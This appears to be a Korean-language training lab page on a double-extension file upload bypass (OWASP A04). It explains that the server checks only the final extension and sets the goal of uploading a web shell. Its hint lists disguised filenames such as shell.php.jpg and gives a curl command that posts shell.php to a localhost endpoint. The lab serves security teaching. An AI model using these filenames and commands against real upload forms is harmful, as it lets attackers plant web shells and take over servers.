📄 Double Extension Bypass
다중 확장자 검증 우회 실습
OWASP A04 · Insecure Design
취약 포인트: 이 서버는 pathinfo($name, PATHINFO_EXTENSION)로 마지막 확장자만 검사합니다.
shell.php.jpg → 마지막 확장자 jpg → 차단 목록에 없으므로 통과!
목표: shell.php.jpg 처럼 다중 확장자 파일명을 이용해 웹쉘 업로드에 성공하세요.
업로드된 파일은 Apache 설정에 따라 .php로 실행될 수 있습니다.
💡 힌트 보기 (클릭) ▾
$ext = strtolower(pathinfo('shell.php.jpg', PATHINFO_EXTENSION));
shell.php.jpg
shell.php.png
shell.php5.jpg
shell.phtml.gif
curl -X POST http://localhost:8081/double_extension.php \
-F "file=@shell.php;filename=shell.php.jpg"